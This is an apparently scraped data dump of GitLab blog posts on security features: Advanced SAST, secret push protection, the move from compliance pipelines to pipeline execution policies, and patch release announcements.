src=\"https://player.vimeo.com/video/1023369304?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Advanced SAST\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n> Learn even more with our [Advanced SAST tutorial](https://about.gitlab.com/blog/quick-vulnerability-remediation-with-gitlab-advanced-sast-duo-ai/).\n\n## 3. Accidental secret commits are a thing of the past\nGitLab's new [secret push protection feature](https://about.gitlab.com/blog/prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection/) stops sensitive information from reaching your GitLab repository by checking the contents of each commit. Instead of dealing with the aftermath of exposed credentials, the system catches secrets before they're committed, saving security teams countless hours of remediation work.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1023370222?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Secret Push\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## 4. AI is a security catalyst\nAI isn't just for code completion anymore. GitLab Duo has evolved to understand merge requests and provide contextual security assistance. With the new Quick Chat feature (accessible via Alt+C), developers can get security insights without leaving their editor.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1023385333?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"AI Security\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## 5. Static reachability reduces security noise\nThe new static reachability feature for Python and Java helps teams focus on vulnerabilities that matter. By identifying which dependencies are actually used in your code, it reduces false positives and helps teams prioritize real security threats.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1023388137?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Static Reachability\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Watch on-demand now\n\n[Watch the full \"Security Deep Dive\" recording](https://www.linkedin.com/feed/update/urn:li:activity:7255246777077936128) to see these features in action and hear more insights from our security experts.\n\nBe sure to follow GitLab on LinkedIn to be notified of our monthly broadcasts and get more insights and the latest news about AI-powered DevSecOps.",[937,14,1532,776,715],"webcast",{"slug":1534,"featured":92,"template":677},"5-things-to-know-from-our-linkedin-live-security-deep-dive","content:en-us:blog:5-things-to-know-from-our-linkedin-live-security-deep-dive.yml","5 Things To Know From Our Linkedin Live Security Deep Dive","en-us/blog/5-things-to-know-from-our-linkedin-live-security-deep-dive.yml","en-us/blog/5-things-to-know-from-our-linkedin-live-security-deep-dive",{"_path":1540,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1541,"content":1546,"config":1552,"_id":1555,"_type":16,"title":1556,"_source":17,"_file":1557,"_stem":1558,"_extension":20},"/en-us/blog/gitlab-patch-release-17-5-1-17-4-3-17-3-6",{"title":1542,"description":1461,"ogTitle":1542,"ogDescription":1461,"config":1543,"ogImage":1381,"ogUrl":1544,"ogSiteName":767,"ogType":768,"canonicalUrls":1544,"schema":1545},"GitLab Patch Release: 17.5.1, 17.4.3, 17.3.6",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-5-1-17-4-3-17-3-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.5.1, 17.4.3, 17.3.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kevin Morrison\"}],\n        \"datePublished\": \"2024-10-23\",\n      }",{"title":1542,"description":1461,"authors":1547,"heroImage":1381,"date":1549,"body":1550,"category":14,"tags":1551},[1548],"Kevin Morrison","2024-10-23","This is the post for [GitLab Patch Release: 17.5.1, 17.4.3, 17.3.6](https://about.gitlab.com/releases/2024/10/23/patch-release-gitlab-17-5-1-released/).",[1292],{"slug":1553,"featured":6,"template":677,"externalUrl":1554},"gitlab-patch-release-17-5-1-17-4-3-17-3-6","https://about.gitlab.com/releases/2024/10/23/patch-release-gitlab-17-5-1-released/","content:en-us:blog:gitlab-patch-release-17-5-1-17-4-3-17-3-6.yml","Gitlab Patch Release 17 5 1 17 4 3 17 3 6","en-us/blog/gitlab-patch-release-17-5-1-17-4-3-17-3-6.yml","en-us/blog/gitlab-patch-release-17-5-1-17-4-3-17-3-6",{"_path":1560,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1561,"content":1567,"config":1574,"_id":1577,"_type":16,"title":1578,"_source":17,"_file":1579,"_stem":1580,"_extension":20},"/en-us/blog/gitlab-critical-patch-release-17-4-2-17-3-5-17-2-9",{"title":1562,"description":1563,"ogTitle":1562,"ogDescription":1563,"config":1564,"ogImage":1381,"ogUrl":1565,"ogSiteName":767,"ogType":768,"canonicalUrls":1565,"schema":1566},"GitLab Critical Patch Release: 17.4.2, 17.3.5, 17.2.9","Learn more about this critical patch release.",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-critical-patch-release-17-4-2-17-3-5-17-2-9","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Critical Patch Release: 17.4.2, 17.3.5, 17.2.9\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nikhil George\"}],\n        \"datePublished\": \"2024-10-09\",\n      }",{"title":1562,"description":1563,"authors":1568,"heroImage":1381,"date":1570,"body":1571,"category":14,"tags":1572},[1569],"Nikhil George","2024-10-09","This is the blog post for [GitLab Critical Patch Release: 17.4.2, 17.3.5, 17.2.9](https://about.gitlab.com/releases/2024/10/09/patch-release-gitlab-17-4-2-released/).",[1573,14],"releases",{"slug":1575,"featured":6,"template":677,"externalUrl":1576},"gitlab-critical-patch-release-17-4-2-17-3-5-17-2-9","https://about.gitlab.com/releases/2024/10/09/patch-release-gitlab-17-4-2-released/","content:en-us:blog:gitlab-critical-patch-release-17-4-2-17-3-5-17-2-9.yml","Gitlab Critical Patch Release 17 4 2 17 3 5 17 2 9","en-us/blog/gitlab-critical-patch-release-17-4-2-17-3-5-17-2-9.yml","en-us/blog/gitlab-critical-patch-release-17-4-2-17-3-5-17-2-9",{"_path":1582,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1583,"content":1589,"config":1595,"_id":1597,"_type":16,"title":1598,"_source":17,"_file":1599,"_stem":1600,"_extension":20},"/en-us/blog/why-gitlab-is-deprecating-compliance-pipelines-in-favor-of-security-policies",{"title":1584,"description":1585,"ogTitle":1584,"ogDescription":1585,"noIndex":6,"ogImage":1586,"ogUrl":1587,"ogSiteName":767,"ogType":768,"canonicalUrls":1587,"schema":1588},"GitLab moves from compliance pipelines to security policies","Learn about our decision to deprecate compliance pipelines and how to migrate to pipeline execution policies. The process is detailed in this tutorial.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098128/Blog/Hero%20Images/Blog/Hero%20Images/security-checklist_security-checklist.png_1750098128272.png","https://about.gitlab.com/blog/why-gitlab-is-deprecating-compliance-pipelines-in-favor-of-security-policies","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why GitLab is deprecating compliance pipelines in favor of security policies\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ian Khor\"}],\n        \"datePublished\": \"2024-10-01\",\n      }",{"title":1590,"description":1585,"authors":1591,"heroImage":1586,"date":1592,"body":1593,"category":14,"tags":1594},"Why GitLab is deprecating compliance pipelines in favor of security policies",[876],"2024-10-01","GitLab compliance pipelines ensure security- and compliance-related jobs in applicable projects are run in accordance with compliance frameworks. Similarly, scan execution policies assure GitLab security scans are run in pipelines in a compliant manner.\n\nWhat we’ve learned from users is that they’d like to capture benefits offered by each feature through a single, simpler solution. Users would like to combine the flexibility of [compliance pipelines](https://docs.gitlab.com/ee/user/project/settings/index.html#compliance-pipeline-configuration) with the simplicity and versatility of [security policies](https://docs.gitlab.com/ee/user/application_security/policies/).\n\nTo meet this request, we developed a new feature, [pipeline execution policies](https://docs.gitlab.com/ee/user/application_security/policies/pipeline_execution_policies.html), to help users enforce customized CI/CD jobs for all applicable projects. Pipeline execution policies perform a similar function to compliance pipelines, but with increased focus on compliance enforcement, flexibility, and a foundation to build and solve for more use cases in the future.\n\nTo reduce confusion, compliance pipelines have been [deprecated](https://docs.gitlab.com/ee/update/deprecations.html#compliance-pipelines) in 17.3 now that pipeline execution policies are available and, as part of the deprecation, we are providing a step-by-step workflow for migrating from compliance pipelines to pipeline execution policy type in 17.5.\n\nYou can follow along with the work we’re doing with the deprecation through this [epic](https://gitlab.com/groups/gitlab-org/-/epics/11275).\n\n![compliance pipelines - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098139/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098139599.png)\n\n## Why are we deprecating compliance pipelines?\n\nTo understand the reason behind this change, we first need to understand the difference between the [compliance management](https://about.gitlab.com/direction/govern/compliance/compliance-management/) and [policy management](https://about.gitlab.com/direction/govern/security_policies/security_policy_management/) features in GitLab. With compliance management, we are focused on helping you understand your compliance posture, providing tools to report to auditors, and surfacing compliance risks in a way that helps you take action.\n\nWe are also focused on increasing compliance visibility of framework requirements, violations, and audit events throughout the entire DevSecOps lifecycle. Our compliance management offering also establishes a direct association between controls and automations configured through policies back into compliance requirements established through compliance frameworks.\n\nPolicy management works hand in hand with compliance programs, as well as supporting scalable security initiatives. Policies give organizations a central location to globally enforce security controls, compliance controls, and automate security and compliance workflows. Security policies will continue to address core use cases across the lifecycle, such as defining enforcement around CI/CD component usage, blocking risks related to dependency and package management, and automating vulnerability management workflows to address security and compliance controls.\n\nTherefore, to ensure we provide the greatest value for our security and compliance users, we are deprecating compliance pipelines and providing a migration path for users to security policies. Not only does this make it clear and simple to the user how and when to enforce jobs as part of a project pipeline, but it also makes the distinction between compliance management and policy management in GitLab clearer. Compliance management is focused on compliance visibility, and policy management is focused on compliance and security enforcement across your entire GitLab instance.\n\n## What is the timeline for the deprecation and removal of compliance pipelines?\n\nThe iteration plan below can be found in the [issue that details the work we are doing](https://gitlab.com/groups/gitlab-org/-/epics/11275) to deprecate and remove compliance pipelines:\n\n**[Deprecation announcement](https://docs.gitlab.com/ee/update/deprecations.html#compliance-pipelines)**\n* Compliance pipeline deprecation and removal was announced in 17.3\n\n**[Compliance pipelines maintenance mode](https://gitlab.com/groups/gitlab-org/-/epics/12324)**\n* Adding banners and migration workflow, and docs\n* Released in 17.5\n\n**[Deter new compliance pipelines](https://gitlab.com/groups/gitlab-org/-/epics/14150)**\n* Adding warning banners for new pipelines\n* Encourage users to try the pipeline execution policy instead\n* Scheduled to start work on this 17.6\n* Scheduled to be released 17.8\n\n**[Compliance pipelines removal](https://gitlab.com/groups/gitlab-org/-/epics/12325) (Remove compliance pipelines)**\n* Provide tools to trial the removal and validate any errors\n* Scheduled to start work on this 17.8\n* Scheduled to be released 19.0\n\nAs you can see, we will start with the deprecation of compliance pipelines and the introduction of pipeline execution policy in the 17.3 release. \n\nLeading up to the removal of compliance pipelines in the 19.0 release, we are including new ways to inform and warn users about the upcoming removal. We are providing warning banners on new pipelines, as well as a workflow that can be used to migrate compliance pipelines to pipeline execution policy.\n\nWe ‘ll remove compliance pipelines in the 19.0 release, but provide a reverse feature flag in the milestones leading up that will help users test the removal and understand any impact prior to the removal date.\n\n## How to migrate your compliance pipelines to pipeline execution policy?\n\nThere are two ways users can access the workflow for migrating compliance pipelines to pipeline execution policy.\n\n1. When creating a new compliance framework, there will now be a warning banner that allows users to start using pipeline execution policy type instead of compliance frameworks:\n\n![compliance pipelines - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098140/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098139599.png)\n\n2. When editing an existing compliance framework, there will now be a warning banner that enables users to migrate their compliance pipelines to pipeline execution policy type – if they have a compliance pipeline configured.\n\n![compliance pipelines - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098140/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098139601.png)\n\nSelecting either \"Create policy\" or \"Migrate pipeline to a policy\" in either workflow will bring users to the \"New policy\" creation page in the \"Security Policies\" section. This will allow users to create a new security policy instead of a compliance pipeline. Or, if you migrate an existing compliance pipeline, the new policy will be populated with the compliance pipeline YAML as the remote source for the policy. Also, the policy scope will be populated with the framework from which you are migrating. \n\nThe policy will target all projects with that label for enforcement and apply enforcement of jobs defined in your remote file, now the pipeline execution YAML. By default, the new policy will be configured with the “override” mode, which will override downstream projects' `.gitlab-ci.yml` with the configuration you have defined (similar to compliance pipelines).\n\n![compliance pipelines - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098140/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098139604.png)\n\nAlternatively, you may use the “Inject” mode, which introduces a new set of reserved stages to run security and compliance jobs in isolation in a tamper-proof manner, without disrupting the project pipeline, and without coordinating with project teams to define stage names in their pipeline config. \n\nWith this approach, be sure to remove the `include:project`, which is no longer needed for this mode. And, depending on your version, ensure job names are unique (required in GitLab 17.2 and 17.3). In GitLab 17.4, we introduced additional enhancements for [managing conflicts](https://docs.gitlab.com/ee/user/application_security/policies/pipeline_execution_policies.html#job-naming-best-practice) for additional flexibility.\n\n## Start your migration today\n\nWe want to ensure that all GitLab users who are using compliance pipelines are fully aware of the deprecation of compliance pipelines in 17.3 and its eventual removal by the 19.0 release as a breaking change. \n\nWe are asking users to start migrating their compliance pipelines to the pipeline execution policy type as soon as possible, before the removal of compliance pipelines in GitLab 19.0.\n\nIf there are any questions, please contact your customer service representative or GitLab support for any help.\n\n> Follow along with the compliance pipeline deprecation progress in [this epic](https://gitlab.com/groups/gitlab-org/-/epics/11275).\n\n> Share feedback in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/491924) regarding any gaps are blockers for adopting pipeline execution policies.",[14,696,776,110],{"slug":1596,"featured":92,"template":677},"why-gitlab-is-deprecating-compliance-pipelines-in-favor-of-security-policies","content:en-us:blog:why-gitlab-is-deprecating-compliance-pipelines-in-favor-of-security-policies.yml","Why Gitlab Is Deprecating Compliance Pipelines In Favor Of Security Policies","en-us/blog/why-gitlab-is-deprecating-compliance-pipelines-in-favor-of-security-policies.yml","en-us/blog/why-gitlab-is-deprecating-compliance-pipelines-in-favor-of-security-policies",{"_path":1602,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1603,"content":1609,"config":1614,"_id":1617,"_type":16,"title":1618,"_source":17,"_file":1619,"_stem":1620,"_extension":20},"/en-us/blog/gitlab-critical-patch-release-16-10-10-16-9-11-16-8-10-16-7-10-16-6-10-16-5",{"title":1604,"description":1605,"ogTitle":1604,"ogDescription":1605,"config":1606,"ogImage":1381,"ogUrl":1607,"ogSiteName":767,"ogType":768,"canonicalUrls":1607,"schema":1608},"GitLab Critical Patch Release: 16.10.10, 16.9.11, 16.8.10, 16.7.10, 16.6.10, 16.5.10, 16.4.7, 16.3.9, 16.2.11, 16.1.8, 16.0.10","Learn more about the Critical Patch Release for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-critical-patch-release-16-10-10-16-9-11-16-8-10-16-7-10-16-6-10-16-5","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Critical Patch Release: 16.10.10, 16.9.11, 16.8.10, 16.7.10, 16.6.10, 16.5.10, 16.4.7, 16.3.9, 16.2.11, 16.1.8, 16.0.10\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Myers\"}],\n        \"datePublished\": \"2024-09-25\",\n      }",{"title":1604,"description":1605,"authors":1610,"heroImage":1381,"date":1611,"body":1612,"category":14,"tags":1613},[1467],"2024-09-25","This is the post for [GitLab Critical Patch Release: 16.10.10, 16.9.11, 16.8.10, 16.7.10, 16.6.10, 16.5.10, 16.4.7, 16.3.9, 16.2.11, 16.1.8, 16.0.10](https://about.gitlab.com/releases/2024/09/25/patch-release-gitlab-16-10-10-released/).",[1292],{"slug":1615,"featured":6,"template":677,"externalUrl":1616},"gitlab-critical-patch-release-16-10-10-16-9-11-16-8-10-16-7-10-16-6-10-16-5","https://about.gitlab.com/releases/2024/09/25/patch-release-gitlab-16-10-10-released/","content:en-us:blog:gitlab-critical-patch-release-16-10-10-16-9-11-16-8-10-16-7-10-16-6-10-16-5.yml","Gitlab Critical Patch Release 16 10 10 16 9 11 16 8 10 16 7 10 16 6 10 16 5","en-us/blog/gitlab-critical-patch-release-16-10-10-16-9-11-16-8-10-16-7-10-16-6-10-16-5.yml","en-us/blog/gitlab-critical-patch-release-16-10-10-16-9-11-16-8-10-16-7-10-16-6-10-16-5",{"_path":1622,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1623,"content":1629,"config":1633,"_id":1636,"_type":16,"title":1637,"_source":17,"_file":1638,"_stem":1639,"_extension":20},"/en-us/blog/gitlab-patch-release-17-4-1-17-3-4-17-2-8",{"title":1624,"description":1625,"ogTitle":1624,"ogDescription":1625,"config":1626,"ogImage":1381,"ogUrl":1627,"ogSiteName":767,"ogType":768,"canonicalUrls":1627,"schema":1628},"GitLab Patch Release: 17.4.1, 17.3.4, 17.2.8","Learn more about GitLab Patch Release: 17.4.1, 17.3.4, 17.2.8 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-4-1-17-3-4-17-2-8","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.4.1, 17.3.4, 17.2.8\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Myers\"}],\n        \"datePublished\": \"2024-09-25\",\n      }",{"title":1624,"description":1625,"authors":1630,"heroImage":1381,"date":1611,"body":1631,"category":14,"tags":1632},[1467],"This is the post for [GitLab Patch Release: 17.4.1, 17.3.4, 17.2.8](https://about.gitlab.com/releases/2024/09/25/patch-release-gitlab-17-4-1-released/).",[1292],{"slug":1634,"featured":6,"template":677,"externalUrl":1635},"gitlab-patch-release-17-4-1-17-3-4-17-2-8","https://about.gitlab.com/releases/2024/09/25/patch-release-gitlab-17-4-1-released/","content:en-us:blog:gitlab-patch-release-17-4-1-17-3-4-17-2-8.yml","Gitlab Patch Release 17 4 1 17 3 4 17 2 8","en-us/blog/gitlab-patch-release-17-4-1-17-3-4-17-2-8.yml","en-us/blog/gitlab-patch-release-17-4-1-17-3-4-17-2-8",{"_path":1641,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1642,"content":1648,"config":1654,"_id":1656,"_type":16,"title":1657,"_source":17,"_file":1658,"_stem":1659,"_extension":20},"/en-us/blog/gitlab-advanced-sast-is-now-generally-available",{"title":1643,"description":1644,"ogTitle":1643,"ogDescription":1644,"noIndex":6,"ogImage":1645,"ogUrl":1646,"ogSiteName":767,"ogType":768,"canonicalUrls":1646,"schema":1647},"GitLab Advanced SAST is now generally available","Reduce false positives, shorten remediation time, and improve development velocity with a proprietary solution built into GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665917/Blog/Hero%20Images/blog-advanced-sast-creative-imagery-0390-1800x945-fy25.png","https://about.gitlab.com/blog/gitlab-advanced-sast-is-now-generally-available","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Advanced SAST is now generally available\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Salman Ladha\"},{\"@type\":\"Person\",\"name\":\"Connor Gilbert\"}],\n        \"datePublished\": \"2024-09-19\",\n      }",{"title":1643,"description":1644,"authors":1649,"heroImage":1645,"date":1651,"body":1652,"category":14,"tags":1653},[710,1650],"Connor Gilbert","2024-09-19","We’re excited to announce that our Advanced Static Application Security Testing (SAST) scanner is now generally available for all GitLab Ultimate customers. \n\nAdvanced SAST is a new scanner powered by the technology we [acquired from Oxeye](https://about.gitlab.com/blog/oxeye-joins-gitlab-to-advance-application-security-capabilities/) earlier this year. It uses a proprietary detection engine with rules informed by in-house security research to identify exploitable vulnerabilities in first-party code. It delivers more accurate results so developers and security teams don’t have to sort through the noise of false-positive results.\n\nUnlike other stand-alone security scanners, Advanced SAST is natively built into the GitLab DevSecOps platform, providing a developer experience free from the overhead that comes with integrating multiple point solutions. Using taint analysis, relevant context is surfaced to help developers remediate vulnerabilities within their existing workflow to maximize development velocity and application security. \n\nThis new scanner will work alongside our existing platform capabilities so developers and application security (AppSec) teams have the most comprehensive set of tools to ship more secure software, faster. \n\n## Applications are being developed faster but remain vulnerable \n\nThe pace of application development continues to accelerate, but remains a common attack vector for threat actors. Our recent [Global DevSecOps Report](https://about.gitlab.com/developer-survey/) found that 66% of companies are releasing software twice as fast — or faster — than in previous years, as businesses strive to deliver more value to their customers than competitors.\n\nHowever, speed introduces risk. Last year alone, [80% of the top data breaches](https://www.crowdstrike.com/2024-state-of-application-security-report/) stemmed from attacks at the application layer.\n\nThese two data points paint a clear picture: Application security tools must be built into existing developer workflows so businesses can stay competitive and secure. \n\n## What are SAST and Advanced SAST?  \n\nSAST is a [widely adopted method for improving application security](https://about.gitlab.com/developer-survey/) by scanning first-party source code to identify vulnerabilities, such as SQL injections or cross-site scripting, before they reach production. Unlike its dynamic counterpart, [DAST](https://about.gitlab.com/topics/devsecops/sast-vs-dast/), SAST scans code without executing it and is performed early in the software development lifecycle (SDLC). This proactive approach integrates security into the development process from the outset, significantly lowering the risk of future breaches.\n\n> Check out this [step-by-step tutorial](https://about.gitlab.com/blog/quick-vulnerability-remediation-with-gitlab-advanced-sast-duo-ai/) to put Advanced SAST to work in your environment.\n\n### Fewer false positives with contextual remediation\n\nThe integration of Oxeye’s technology into our platform means we’re able to provide a SAST solution AppSec teams can trust, built into the same GitLab platform developers love. Here’s how we’re able to do that and what it means for our customers: \n\n**Less time triaging vulnerabilities and more time launching features** \n* Our proprietary detection engine uses cross-function, cross-file taint analysis with rules informed by in-house security research to surface truly exploitable vulnerabilities and improve scan accuracy — that means lower false-positive rates. \n\n**Faster remediation with richer context** \n* Advanced SAST helps developers remediate security vulnerabilities by providing important context such as threat details and the path a vulnerability takes through a program. And, it’s integrated with [GitLab Duo Enterprise AI](https://about.gitlab.com/gitlab-duo/) to help developers understand and resolve vulnerabilities faster. AppSec teams can also scale their expertise by integrating third-party security training right into the GitLab platform. \n\n**Security built into developer workflows**\n* *Integrated* into the SDLC is not the same as *built* into the SDLC. Advanced SAST is a native component of our platform, ensuring security is incorporated within existing developer workflows. With a unified solution to manage the entire SDLC, developers can identify, prioritize, and remediate vulnerabilities without disrupting their flow.\n\nHere is an example of the findings of an Advanced SAST scan: \n\n![Advanced SAST - code flow](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675850/Blog/Content%20Images/code-flow_dark-mode__1_.png)\n\n## What to know about the Advanced SAST rollout\nIf you’re already using GitLab SAST, we want to ensure you have the chance to coordinate the rollout of Advanced SAST.\n\nHere are key points:\n* Advanced SAST scanning is available in GitLab 17.3 or newer, but it’s disabled by default so you can choose when to make the switch. You can [enable Advanced SAST](https://docs.gitlab.com/ee/user/application_security/sast/gitlab_advanced_sast.html#configuration) for [the languages it supports](https://docs.gitlab.com/ee/user/application_security/sast/gitlab_advanced_sast.html#supported-languages) across projects, groups, or your entire instance.\n* GitLab 17.4 includes helpful features that make it easier to switch to Advanced SAST, including a new [vulnerability code flow view](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-code-flow) and automatic translation from existing vulnerability records.\n* We plan to enable Advanced SAST by default in a future release, no later than GitLab 18.0. We’ll announce the final timeline and details soon.\n\nFor the latest updates on how to upgrade to Advanced SAST, check the [Advanced SAST documentation](https://docs.gitlab.com/ee/user/application_security/sast/gitlab_advanced_sast.html). We also have a walkthrough in the video below:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/xDa1MHOcyn8?si=2zVY_rRSu1wpHP__\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## What’s next for SAST  \nLooking ahead, we’re already working on [new features and improvements](https://about.gitlab.com/direction/secure/static-analysis/sast/) to help teams write more secure software together, faster. We’re particularly focused on:\n\n* **Upgrading more languages to Advanced SAST**, like PHP, Ruby, C, and C++, so more teams can benefit from more accurate vulnerability findings and cross-file, cross-function scanning.\n* **Real-time SAST scanning in the IDE**, so developers can write more secure code as they’re programming – before they even commit or push.\n* **Incremental scanning**, analyzing only modified code so developers can quickly identify vulnerabilities without waiting on full-repository scans. \n\n> If you’re an existing GitLab Ultimate customer and would like to learn more about how Advanced SAST can help improve your application security program, visit our [Advanced SAST documentation](https://docs.gitlab.com/ee/user/application_security/sast/gitlab_advanced_sast.html) where we cover implementation requirements, use cases, and more.  \n\n***Disclaimer:** This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab.*\n",[14,798,715,776,695],{"slug":1655,"featured":92,"template":677},"gitlab-advanced-sast-is-now-generally-available","content:en-us:blog:gitlab-advanced-sast-is-now-generally-available.yml","Gitlab Advanced Sast Is Now Generally Available","en-us/blog/gitlab-advanced-sast-is-now-generally-available.yml","en-us/blog/gitlab-advanced-sast-is-now-generally-available",{"_path":1661,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1662,"content":1668,"config":1674,"_id":1677,"_type":16,"title":1678,"_source":17,"_file":1679,"_stem":1680,"_extension":20},"/en-us/blog/gitlab-critical-patch-release-17-3-3-17-2-7-17-1-8-17-0-8-16-11-10",{"title":1663,"description":1664,"ogTitle":1663,"ogDescription":1664,"config":1665,"ogImage":1381,"ogUrl":1666,"ogSiteName":767,"ogType":768,"canonicalUrls":1666,"schema":1667},"GitLab Critical Patch Release: 17.3.3, 17.2.7, 17.1.8, 17.0.8, 16.11.10","Learn more about GitLab Critical Patch Release: 17.3.3, 17.2.7, 17.1.8, 17.0.8, 16.11.10 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-critical-patch-release-17-3-3-17-2-7-17-1-8-17-0-8-16-11-10","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Critical Patch Release: 17.3.3, 17.2.7, 17.1.8, 17.0.8, 16.11.10\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\" Rohit Shambhuni\"}],\n        \"datePublished\": \"2024-09-17\",\n      }",{"title":1663,"description":1664,"authors":1669,"heroImage":1381,"date":1671,"body":1672,"category":14,"tags":1673},[1670]," Rohit Shambhuni","2024-09-17","This is the post for [GitLab Critical Patch Release: 17.3.3, 17.2.7, 17.1.8, 17.0.8, 16.11.10](https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/).",[1292],{"slug":1675,"featured":6,"template":677,"externalUrl":1676},"gitlab-critical-patch-release-17-3-3-17-2-7-17-1-8-17-0-8-16-11-10","https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/","content:en-us:blog:gitlab-critical-patch-release-17-3-3-17-2-7-17-1-8-17-0-8-16-11-10.yml","Gitlab Critical Patch Release 17 3 3 17 2 7 17 1 8 17 0 8 16 11 10","en-us/blog/gitlab-critical-patch-release-17-3-3-17-2-7-17-1-8-17-0-8-16-11-10.yml","en-us/blog/gitlab-critical-patch-release-17-3-3-17-2-7-17-1-8-17-0-8-16-11-10",{"_path":1682,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1683,"content":1689,"config":1694,"_id":1697,"_type":16,"title":1698,"_source":17,"_file":1699,"_stem":1700,"_extension":20},"/en-us/blog/gitlab-critical-patch-release-17-3-2-17-2-5-17-1-7",{"title":1684,"description":1685,"ogTitle":1684,"ogDescription":1685,"config":1686,"ogImage":1381,"ogUrl":1687,"ogSiteName":767,"ogType":768,"canonicalUrls":1687,"schema":1688},"GitLab Critical Patch Release: 17.3.2, 17.2.5, 17.1.7","Learn more about GitLab Critical Patch Release: 17.3.2, 17.2.5, 17.1.7 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-critical-patch-release-17-3-2-17-2-5-17-1-7","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Critical Patch Release: 17.3.2, 17.2.5, 17.1.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ottilia Westerlund\"}],\n        \"datePublished\": \"2024-09-12\",\n      }",{"title":1684,"description":1685,"authors":1690,"heroImage":1381,"date":1691,"body":1692,"category":14,"tags":1693},[1345],"2024-09-12","This is the post for [GitLab Critical Patch Release: 17.3.2, 17.2.5, 